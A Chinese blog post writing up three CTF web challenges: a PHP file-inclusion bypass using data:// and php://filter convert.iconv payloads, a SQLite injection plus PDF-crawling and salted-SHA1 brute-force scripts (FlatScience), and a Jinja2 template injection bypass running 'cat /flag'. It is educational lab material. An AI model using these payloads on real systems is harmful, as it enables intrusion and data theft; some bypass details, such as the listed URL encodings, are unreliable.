CTF—web题库笔记(难度4)

 

CTF—web题库笔记(难度1)

本篇文章共3道题,目录如下:(将持续更新)

目录

1. 题目名称-文件包含

2.FlatScience

3.easy_web


 

1. 题目名称-文件包含

题目描述:  简单的文件包含

访问场景,首页如下:

先简单了解一下什么是文件包含:开发人员一般会把重复使用的函数写到单个文件中,当需要使用这个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。那正常来说包含的文件是固定的、写死的就不会存在文件包含漏洞,但是这样的话又不够便捷,所以开发人员为了使代码调用更加灵活,就会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,允许用户从客户端提交一个变量值来作为文件包含的变量值,当这个值是段恶意代码时,并且服务端又没有对用户的输入进行一个很好的过滤,就会造成文件包含漏洞。

注:(实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline。各种函数作用、用法,大家还是百度吧)

本题的php源代码乍一看就是利用filename参数带一段恶意代码进去,然后include函数执行恶意代码进而找到flag。事实也是这样,不过会遇到很多过滤,要想办绕过去。

我先随意试了一个data伪协议的poc,提示我do not hack,不知道什么被过滤了....。慢慢试

filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
base64解密为<?php system("ls")?>

 php的文件包含漏洞,可以用到各种伪协议如下:

1.伪协议种类
    file:// 访问本地文件系统
    http:// 访问http(s)网址
    ftp:// 访问ftp
    php:// 访问各个输入/输出流
    zlib:// 压缩流
    data:// 数据
    rar:// RAR压缩包
    ogg:// 音频流

 2.本题而言,用到的是php://伪协议,其他伪协议试了都不太中, 

php://伪协议用法,例如:php://input,用于执行php代码,(需要post请求提交数据)。
php://filter,用于读取源码,?filename=php://filter/read=convert.base64/resource=/etc/passwd

(推荐:php://filter的各种过滤器讲解

 好家伙,又被没收了,直接黔驴技穷,wp走起。

官方说使用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

粘贴一手官方的答案
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php

尝试payload:

http://x.x.x.x:端口/index.php?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php

我给wp精简了一下,在上述payload中依次更改convert.iconv.UCS-4*中的UCS-4*位置的编码方式进行测试,只有UCS-4*没报错,其余的都报错了。最终在结合一下其他编码方式即可读出flag.php

payload:
http://x.x.x.x:端口/index.php?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php

http://x.x.x.x:端口/?filename=php://filter//convert.iconv.UTF-7.UCS-4*/resource=/var/www/html/flag.php

http://1x.x.x.x:端口/?filename=php://filter//convert.iconv.EUC-JP*.UCS-4*/resource=/var/www/html/flag.php

总结:本题应该考的就是这个伪协议中的过滤器绕过,得先去查查convert.iconv.[]过滤器是啥玩应,对了“包含配上传效果更佳呦”因为文件包含漏洞重要点之一就被包含的文件尽管后缀php不识别,依旧可以去执行其内容,在此提醒一下。

2.FlatScience

题目描述:  暂无

访问首页如下:

 随手点一点吧,看看html源码有没提示啥的,好像除了几个pdf也没啥东西,顺手访问了robots.txt

看到了这两个文件,先访问admin.php,定睛一看,像是暴力破解admin账户或者sql注入啥的。 

不管了,先丢进burp试一哈,结果response返回<!-- do not even try to bypass this -->,“不要试图绕过”,还不让碰,先放这,去瞧瞧login.php。

 login.php又是个登录界面,但是瞧着跟admin那个不一样,继续扔进burp。

有两个提示,一个就是login首页,上图的“不要再这里尝试hax plox”,没懂啥意思,还有个同样是response返回的<!-- TODO: Remove ?debug-Parameter! -->,“删除debug调试参数”,算是个新发现,搞到了一个degub参数,访问一下试试。

一段php代码赫然映入我的眼帘,这玩应代码审计咱也不会呀,好在代码不多也比较简单,这代码好像就是验证登录的逻辑代码吧,参数usr和pw正好对应上图burp截图里的用户名和密码,将post方式接收到的这俩参数带到查询语句里进行验证,而且密码应该是用sha1算法加密存贮了。因为整段代码没看到有啥防护、过滤的代码,应该是sql注入吧,我对着“pw”参数一顿试,毛反映没有,把usr参数忘得死死的,后来将usr=admin'  然后burp重放,终于来报错了。

(这个报错没看出来啥,SQLite3还是百度现查的,咱也没见过这个数据库吖。)想着反正都是sql语句,什么单引、双引、or、and啥的先简单来一下,看看有啥回显没。当试到usr=admin' or 1=1 --%20时,报错没了,并且返回值set-cookie中出现回显,我也没见过这里出现回显的,还找了半天,先不管这个,先研究下sqlite3的sql注入

又通过order by判断了但前查询只有两列 ,想着前面的php代码已经提示段名id和name还有表名Users。

就可以通过union select id,name from Users --+来搞点有用信息,确定了用户admin。

但是如何获取到表里的其他列值呢,算了,直接百度起手,搜了半天,找到了个有用信息,“sqlite_master 表是 SQLite 的系统表”,应该就和mysql的information_schema.差不多。这个表的解释如下:

sqlite_master 表是 SQLite 的系统表,是为每个 SQLite 数据库自动创建的特殊表。该表记录该数据库中保存的表、索引、视图、和触发器信息,每一行记录一个项目。在创建一个 SQLite 数据库的时候,该表会自动创建。如下查看 sqlite_master 表的结构,发现其包含 5 列:

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

接下里就是对这个五个字段依次进行union查询,例如:usr=admin' union select name,sql from sqlite_master --+

问题来了,这怎么无论查什么列都是回显admin呀,这里有个小知识点,因为union查询默认“左边”的查询成功了就不会显示“右边”的查询了,可能大家有的玩过dvwa,dvwa那个只是为了方便新手理解,所以我们要让“左边”查询为false即可,其实这里也只是凑巧了,因为admin账户它确实存在,所以左边查询为true,只需要随意改个不存在的usr值即可,比如usr=123' union select name,sql from sqlite_master --+,成功回显如下:

 将回显的内容url解码一下,方便观看,可以看到表名Users以及其列名

 我将Users表中有用的列值信息截图如下:查询hint列返回一段提示,说密码就藏在教授的论文中

 password列查询的肯定就是密码的加密值了: 3fab54a50e770d830c0416df817567662a9dc85c

到这里呢我就没思路了,我在想pdf论文里有密钥嘛?但是sha1算法好像不可逆吧。要跟md5一样碰库嘛,看了一眼别的朋友的答案解析,原来是是用python脚本先将网站下的pdf文件爬下来,在进行一个pdf到txt的文件类型转换,最终拿加密值跟txt文件一个一个的进行爆破(爆破这块我自己也不太懂)以下脚本引用的文章:攻防世界:flatscience_T2hunz1的博客-CSDN博客​​​​​

爬取站点所有pdf文件的python脚本如下:(我py3的环境,直接粘过来就能用)

import urllib.request
import re

allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")


def my_reptile(url_root,html):
	global pat_pdf
	global pat_html
	html=url_root+html
	
	if(isnew(html)):
		allHtml.append(html)
		
		print("[*]starting to crawl site:{}".format(html))
		with urllib.request.urlopen(html) as f:
			response=f.read().decode('utf-8')
			
		pdf_url=pat_pdf.findall(response)
		for p in pdf_url:
			p=p[6:len(p)-1]
			download_pdf(html+p)
			
		html_url=pat_html.findall(response)
		for h in html_url:
			h=h[6:len(h)-11]
			my_reptile(html,h)
		
def download_pdf(pdf):
	global count
	
	fd=open(str(count)+'.pdf','wb')
	count+=1
	
	print("[+]downloading pdf from site:{}".format(pdf))
	with urllib.request.urlopen(pdf) as f:
		fd.write(f.read())
	fd.close()
	
def isnew(html):
	global allHtml
	for h in allHtml:
		if(html==h):
			return False
	return True


if __name__=="__main__":
	my_reptile("http://要爬取的网站ip:端口/",'')
	

pdf转txt格式python脚本文件如下,这里要注意一个小点,格式转换这块用到了第三方模块PDFMiner,而PDFMiner模块在python2中名为PDFMiner,在python3中名为PDFMiner3k,我用的是python3,且在pycharm里面运行的,pycharm会自动提示你没有这个模块而让你安装,如果你点击安装,默认的安装是PDFMiner模块,这样就会报错,所以你需要使用pip命令安装一下PDFMiner3k模块,也就是pip install PDFMiner3k。

from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
	print('[+]converting {} to {}'.format(pdfFile,txtFile))
	
	fd_txt=open(txtFile,'w',encoding='utf-8')
	fd_pdf=open(pdfFile,'rb')
	
	parser=PDFParser(fd_pdf)
	doc=PDFDocument()
	parser.set_document(doc)
	doc.set_parser(parser)
	doc.initialize()
	
	manager=PDFResourceManager()
	laParams=LAParams()
	device=PDFPageAggregator(manager,laparams=laParams)
	interpreter=PDFPageInterpreter(manager,device)
	
	for page in doc.get_pages():
		interpreter.process_page(page)
		layout=device.get_result()
		
		for x in layout:
			if(isinstance(x,LTTextBoxHorizontal)):
				fd_txt.write(x.get_text())
				fd_txt.write('\n')
	fd_pdf.close()
	fd_txt.close()
	print('[-]finished')
	
def crazyWork():
	print('[*]starting my crazy work')
	files=[]
	for f in os.listdir():
		if(f.endswith('.pdf')):
			files.append(f[0:len(f)-4])
	
	for f in files:
		pdf2txt(f+'.pdf',f+'.txt')
	
if __name__=='__main__':
	crazyWork()

最后上爆破的脚本:

import os
import hashlib

def searchPassword():
	print('[*]starting to search the word')
	for file in os.listdir():
		if(file.endswith('.txt')):
			print('[+]searching {}'.format(file))
			with open(file,'r',encoding='utf-8') as f:
				for line in f:
					words=line.split(' ')
					for word in words:
						if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
							print('[@]haha,i find it:{}'.format(word))
							exit()
							
if __name__=='__main__':
	searchPassword()

爆破出来的密码明文如下:

回到admin.php登录界面输入密码得到flag

 注:以上三个脚本和最后获取flag的思路均来源于:[CTF题目总结-web篇]攻防世界:flatscience_T2hunz1的博客-CSDN博客

总结:本题知识点较广,前半部的sql注入由于不用绕过,比较简单。对于我来说重点在于后半部的py脚本编写。

3.easy_web

题目描述:  easy_web

访问场景首页如下:(说是easy,鼓捣半天最后还是看别的朋友的wp)

感觉漏洞点就在这个输入框,但也习惯性的访问一些robots.txt、admin.php、f12看一看,没东西,丢burp瞧瞧。看来单引号是被限制的,后端服务提示:python

python的漏洞我就知道一个ssti模板注入,常见的测试poc如:${7*7}、{{config}}、{{2*'3'}},不同模板语法有些差异(我也就知道这些了)模板注入漏洞涉及到的一些基础概念如:模板引擎、渲染引擎、渲染方法推荐这篇文章:Python-模板注入_jinqipiaopiao的博客-CSDN博客_python模板注入

继续输入poc{{5+1}}看反馈如下:{}肯定是被识别限制了,然后百度查吧,ssti的{}绕过

 找到了这些变量包裹标识符:

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

所以又试了一下#5+1#,其url编码为: %235%2b1%23。结果被当成字符直接显示出来了,测试失败。(主要是这里我并不确定是否存在模板注入漏洞,怕自己的方向搞错了,就看了wp)

 (找到了一篇解析此题的文章:2020太湖杯 | Wp及复现_lemonl1的博客-CSDN博客

看到答案确实是模板注入漏洞,然后对{}的绕过。针对题目字符规范器,可以找到一些特殊字符可以恢复成{这种形式来达到绕过效果,所以就找一下跟{类似的特殊符号试一下。

最终找到了︷︷config︸︸经过字符规范器后恒等于{{congig}}

︷︷config︸︸   ——》    {{congig}}

终于是验证了漏洞的存在,如下:

接下来就是上payload了,同样也要绕过这些敏感字符,经过测试,{}  '   "  这些字符是被检测的,需要绕过,而()  .  _  [] 是没问题的。但是之前做题时用的payload突然不好使了,就连官方wp里的也不好用了,不知道是不是这个题的过滤规则变了,又加了一些关键字的过滤啥的,好奇怪。直接上好使的payload吧,至于利用payload读取文件或执行命令的原理大家就自行研究吧。(我功力太浅)

{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

 最后简单附上几个绕过姿势:

在jinjia2里面:"cla""ss"是等同于"class"
列表反转:"__ssalc__"[::-1]  -》  "__class__"
.的绕过:{{"".__class__}}   —》   {{""['__classs__']}}
关键字符的相似字符:
'的url编码%07    (  %08    )%09    { 的url编码%5b     }的url编码%5d

  • 8
    点赞
  • 60
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值